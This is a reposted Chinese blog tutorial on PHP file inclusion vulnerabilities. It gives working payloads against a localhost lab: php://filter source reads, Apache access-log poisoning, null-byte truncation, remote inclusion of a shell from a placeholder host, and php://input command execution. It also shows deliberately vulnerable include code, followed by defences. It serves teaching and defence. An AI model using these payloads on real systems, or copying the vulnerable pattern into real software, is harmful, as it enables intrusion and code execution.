0


文件包含漏洞详解

文件包含漏洞(以PHP语言为例)

简介----什么是文件包含漏洞

文件包含漏洞(File Inclusion),是指程序在使用包含文件的函数时,用户可以控制文件包含的参数,而且程序未对传入的值进行严格审查,导致包含了一些具有危害性的脚本代码的漏洞。

在实际开发过程中,很多时候会用到一些重复的代码,这时开发人员会将重复的代码写成函数,放到一个单独的文件里(底层代码),然后在别的文件中去包含底层代码文件,以使用这些函数。这时如果包含函数的参数被用户控制,就会造成非常大的安全隐患。

本文将以PHP语言为例,介绍该漏洞的原理、利用方法和防御方法。

预备知识

PHP实现文件包含

在PHP语言中,可以轻松地使用以下四个函数进行文件包含:
名称说明include()包含一个文件,如错误则抛出警告include_once()包含一个文件仅一次,和上面类似require()包含一个文件,如错误则报错并停止脚本require_once()包含一个文件仅一次,和上面类似

<?phpinclude('config.php');// More code.?>

注:无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容。

PHP伪协议

在PHP中,有很多URL格式的封装伪协议:
协议解释php://访问PHP I/O流,非常危险ssh2://Secure Shell 2,非常危险data://访问数据流,非常危险file://读取本地文件,较为危险zlib://访问压缩流,较为危险phar://PHP归档,较为危险http://访问HTTP(S)网址ftp://访问FTP服务

使用php://input可以通过POST方法操作PHP输入流,导致任意命令执行。
使用php://filter可以读取PHP文件,造成源码泄露。

http://127.0.0.1/?jumpTo=php://filter/read=convert.base64-encode/resource=xxx.php 

Apache日志文件

Apache服务器中有两种日志:

  1. access.log
  2. error.log

access.log的作用记录网站的访问信息,格式如下:
表头名解释客户端IP访问者的IP地址访问者的EMail此项年代久远,早已弃用,用

-

替代访问者的身份认证一般用

-

替代访问时间记录服务器时间请求记录记录请求方法、URL和协议HTTP状态码记录返回的状态码字节数记录向客户端发送的字节数
Apache访问日志error.log记录错误的访问信息。

本地文件包含漏洞

本地文件包含漏洞(LFI,Local File Include),是指开发人员未对用户传入的文件包含参数进行严格审查,导致程序包含了处于本地的恶意脚本的漏洞。(如PHP一句话)

下面通过举例的方式来解释该漏洞:

一天,王小美同学心血来潮,写了一个较为简陋的个人主页,网站的目录结构如下(假设已经被人挂上了一句话木马),

index.php

通过文件包含的方式进行网页跳转:
网站目录结构
网站部分源代码如下:

<?php$link=$_GET['jumpTo'];include($link);?>......<body>......<p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=jobs.php">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby.php">我的兴趣爱好</a></body>

此时一般访问者可以点击链接访问其它页面。但如果攻击者想要访问自己的一句话木马,只需要构造如下链接:

http://127.0.0.1/file_include/index.php?jumpTo=shell.jpg

由于王小美同学的粗心大意,她没有在后端控制

include()

函数的参数合法性,于是攻击者输入了一句话木马的地址,程序就包含了一句话木马。
LFI攻击成功

Apache日志包含漏洞

事实上,王小美同学写的后端代码不仅有文件包含漏洞,还有目录穿越漏洞。如果在参数中加上

../

(表示回到上层目录),可以读取处于上层目录的文件。前面已经介绍过,Apache会自动记录请求信息,所以我们如果确定目标网站使用Apache,就可以使用BurpSuite发送如下请求,把PHP一句话写进

access.log

里:

GET /<?php phpinfo();?> HTTP/1.1

此时我们可以看到

access.log

中已经有了该条记录:

127.0.0.1 - - [14/Sep/2022:11:50:48 +0800] "GET /<?php phpinfo();?>" 400 2220

再配合目录穿越漏洞读取

access.log

,即可获得shell。

注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如

?jumpTo=114514

,这样网页会报错显示网站的绝对路径(如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。

截断攻击

复现环境:PHP < 5.3.4,magic_quotes_gpc=Off

经过之前的惨痛教训,王小美同学修改了网站源码,对传入的参数进行了处理:将其和

.php

字符串进行拼接,并关闭了报错,防止攻击者探查出网站的绝对路径。

<?phperror_reporting(E_ERROR);ini_set("display_errors","Off");if(isset($_GET['jumpTo'])){include($_GET['jumpTo'].".php");}else{// Do nothing.    }?>......<body>......<p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=jobs">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby">我的兴趣爱好</a></body>

但你以为这就结束了吗?

在ASCII字符集中,

%00

代表的是字符串的结束,也就是说,如果在一串字符的中间插入

%00

,那么后面的字符串会被丢弃。如果把参数值改为

shell.jpg%00

,那么之后拼接的

.php

将被

include

方法所丢弃。这样就能成功访问一句话木马。

远程文件包含漏洞

远程文件包含漏洞(RFI,Remote File Include),是指开发人员未限制包含的文件对象,加上PHP的不合理配置,导致程序包含了其它域(网站)中的危险脚本的漏洞。其本质是使用PHP伪协议进行包含。

复现环境:allow_url_include=On,allow_url_fopen=On

无限制远程文件包含漏洞的复现比较简单。只需要在参数之后加上危险脚本的URL即可。
比如:

http://127.0.0.1/file_include/index.php?jumpTo=http://www.xxx.com/shell.php

有限制远程文件包含截断方法

  1. 使用?绕过,问号之后的字符串会被当做查询参数丢弃
  2. 使用%20绕过。

使用伪协议控制PHP输入流

复现环境:allow_url_include=On

前面已经介绍过,使用

php://input

可以控制PHP的输入流。假设主页代码为这样:

<?php$link=$_GET['jumpTo'];include($link);?>

此时我们可以通过BurpSuite将参数改为

php://input

,控制了PHP输入流:

GET /file_include/index.php?jumpTo=php://input HTTP/1.1
Host: 127.0.0.1
......
Sec-Fetch-User: ?1

<?php system("ipconfig/all"); ?>

此时我们已经把显示主机IP地址信息的命令“输入”到了PHP中。
PHP伪协议漏洞

小结

  1. PHP文件包含漏洞是开发人员未严格限制包含参数而产生的漏洞。
  2. 该漏洞分为本地文件包含漏洞远程文件包含漏洞
  3. 该漏洞有可能导致目录穿越,读取系统关键数据。(如Apache日志等)
  4. 远程文件包含漏洞本质上使用了PHP伪协议,使用php://input会产生更大的危害。
  5. 文件包含漏洞常用于配合文件上传漏洞。具体看本人的另一篇文章:Upload-Labs靶场 1-21全通关教程。(重点在Pass14到Pass17)

如何防御?

1.调整php.ini中的不合理配置

本文中所介绍的漏洞,有相当一部分是由于PHP配置文件中的不合理配置导致被利用。下面是推荐的配置项:

  1. magic_quotes_gpc=On,将参数中的异常字符进行转义。
  2. allow_url_include=Off,禁止将URL作为文件打开处理。
  3. allow_url_fopen=Off,禁止include()require()打开URL作为文件处理。

2.过滤异常字符

检查参数,如果参数中含有

%

#

;

等不需要的字符,将其去掉或者拒绝请求。

3.更改Apache日志路径

具体可以参考其他大佬的文章,这里不过多阐述。

apache日志路径设置问题(windows系统下)

4.写死包含的路径或文件名(最根本)

造成文件包含漏洞的原因99%都是包含的文件名由用户控制,我们只需要将参数的控制权拿回自己手里就可以规避这99%的风险。具体代码如下:

<?phpheader("Content-type:text/html;charset=utf-8");error_reporting(E_ERROR);ini_set("display_errors","Off");$link=$_GET['jumpTo'];if(isset($link)){switch($link){case'job':include('./jobs.php');break;case'hobby':include('./hobby.php');break;default:die("风雪的缩影,如琉璃般飘落......");break;}}else{// Do nothing.    }?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>王小美の主页</title></head><body><h1 style="text-align: center;">个人主页</h1><br><img src="./img/ganyu.png"><br><p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=job">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby">我的兴趣爱好</a></body></html>
标签: php web安全 安全

本文转载自: https://blog.csdn.net/qwe304/article/details/126826456
版权归原作者 icewolf00 所有, 如有侵权,请联系我们删除。

“文件包含漏洞详解”的评论:

还没有评论